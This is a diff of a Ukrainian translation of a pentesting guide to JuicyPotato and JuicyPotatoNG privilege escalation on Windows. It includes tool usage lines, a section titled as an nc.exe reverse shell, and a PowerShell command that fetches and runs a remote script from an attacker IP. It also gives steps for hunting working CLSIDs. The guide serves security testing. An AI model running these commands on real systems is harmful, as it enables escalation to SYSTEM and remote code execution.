виводить користувача токена. Див. [_here for testing_](http://ohpe.it/juicy-potato/Test/)_ ### Usage ``` @@ -72,30 +72,30 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` -### Final thoughts +### Підсумки [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -Якщо користувач має `SeImpersonate` або `SeAssignPrimaryToken` привілеї, то ви — **SYSTEM**. +Якщо користувач має привілеї `SeImpersonate` або `SeAssignPrimaryToken`, то ви — **SYSTEM**. -Практично неможливо запобігти зловживанню всіма цими COM Servers. Можна подумати про зміну дозволів цих об'єктів через `DCOMCNFG`, але успіху не обіцяю — це буде складно. +Практично неможливо повністю запобігти зловживанню всіма цими COM Servers. Можна спробувати змінити дозволи цих об’єктів через `DCOMCNFG`, але удачі — це буде складно. -Фактичне рішення — захищати чутливі облікові записи та додатки, які працюють під обліковими записами `* SERVICE`. Зупинка `DCOM` безумовно ускладнить цей експлойт, але може мати серйозний вплив на базову ОС. +Реальне рішення — захистити чутливі облікові записи та додатки, які працюють під обліковими записами `* SERVICE`. Зупинка `DCOM` безумовно ускладнить цей експлойт, але може серйозно вплинути на базову ОС. From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) ## JuicyPotatoNG (2022+) -JuicyPotatoNG повторно вводить JuicyPotato-style local privilege escalation на сучасних Windows, комбінуючи: -- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener. -- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present. -- Трюки, щоб задовольнити обмеження активації DCOM (наприклад, колишня вимога INTERACTIVE-group при націлюванні на класи PrintNotify / ActiveX Installer Service). +JuicyPotatoNG відновлює JuicyPotato-style local privilege escalation на сучасних Windows, поєднуючи: +- розв'язання DCOM OXID до локального RPC-сервера на вибраному порту, уникаючи старого жорстко закодованого 127.0.0.1:6666 listener'а; +- SSPI hook для перехоплення та імперсонації вхідної аутентифікації SYSTEM без потреби в RpcImpersonateClient, що також дозволяє CreateProcessAsUser коли присутня лише SeAssignPrimaryTokenPrivilege; +- трюки для задоволення обмежень активації DCOM (наприклад, колишня вимога INTERACTIVE-group при таргетуванні класів PrintNotify / ActiveX Installer Service). -Important notes (evolving behavior across builds): -- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. -- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. +Важливі зауваги (поведінка змінюється між збірками): +- September 2022: первісна техніка працювала на підтримуваних Windows 10/11 і Server таргетах, використовуючи “INTERACTIVE trick”. +- January 2023 update from the authors: Microsoft пізніше заблокував INTERACTIVE trick. Інший CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) відновлює можливість експлуатації, але, за їхнім повідомленням, тільки на Windows 11 / Server 2022. -Basic usage (more flags in the help): +Базове використання (більше прапорів у довідці): ``` JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # Useful helpers: @@ -103,11 +103,11 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # -s Scan for a COM port not filtered by Windows Defender Firewall # -i Interactive console (only with CreateProcessAsUser) ``` -Якщо ви націлюєтеся на Windows 10 1809 / Server 2019, де класичний JuicyPotato запатчено, надавайте перевагу альтернативам, вказаним вище (RoguePotato, PrintSpoofer, EfsPotato/GodPotato тощо). NG може бути ситуаційним залежно від збірки та стану служби. +Якщо ви націлюєтеся на Windows 10 1809 / Server 2019, де класичний JuicyPotato виправлено, віддавайте перевагу альтернативам, згаданим вище (RoguePotato, PrintSpoofer, EfsPotato/GodPotato тощо). NG може бути ситуативним залежно від збірки та стану сервісу. -## Приклади +## Examples -Примітка: Відвідайте [this page](https://ohpe.it/juicy-potato/CLSID/) для списку CLSID-ів, які варто спробувати. +Примітка: Відвідайте [this page](https://ohpe.it/juicy-potato/CLSID/) для списку CLSIDs, які можна спробувати. ### Отримати nc.exe reverse shell ``` @@ -122,31 +122,31 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 c:\Users\Public> ``` -### Powershell rev +### Powershell реверс ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### Запустити новий CMD (якщо у вас є доступ по RDP) +### Запустити новий CMD (якщо у вас є доступ через RDP) ![](<../../images/image (300).png>) -## CLSID Problems +## Проблеми з CLSID -Часто стандартний CLSID, який використовує JuicyPotato, **не працює**, і exploit зазнає невдачі. Зазвичай потрібно кілька спроб, щоб знайти **працюючий CLSID**. Щоб отримати список CLSID для конкретної операційної системи, відвідайте цю сторінку: +Часто стандартний CLSID, який використовує JuicyPotato, **не працює**, і експлойт зазнає невдачі. Зазвичай потрібно кілька спроб, щоб знайти **працюючий CLSID**. Щоб отримати список CLSID для конкретної операційної системи, відвідайте цю сторінку: - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) ### **Перевірка CLSID** -Спочатку вам знадобляться деякі виконувані файли, окрім juicypotato.exe. +Спочатку вам знадобляться додаткові виконувані файли, окрім juicypotato.exe. -Завантажте [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) і завантажте його у вашу PS session, а також завантажте й виконайте [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Цей скрипт створить список можливих CLSID для тестування. +Завантажте [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) і завантажте його в вашу PS-сесію, потім завантажте та виконайте [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Цей скрипт створить список можливих CLSID для перевірки. -Потім завантажте [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і виконайте його. Він почне перевіряти кожний CLSID, і **коли зміниться номер порту, це означатиме, що CLSID спрацював**. +Потім завантажте [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і запустіть його. Він почне перевіряти кожен CLSID, і коли зміниться номер порту, це означатиме, що CLSID спрацював. -**Перевірте** робочі CLSID **за допомогою параметра -c** +**Перевірте** працездатні CLSID **за допомогою параметра -c** -## References +## Посилання - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) - [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)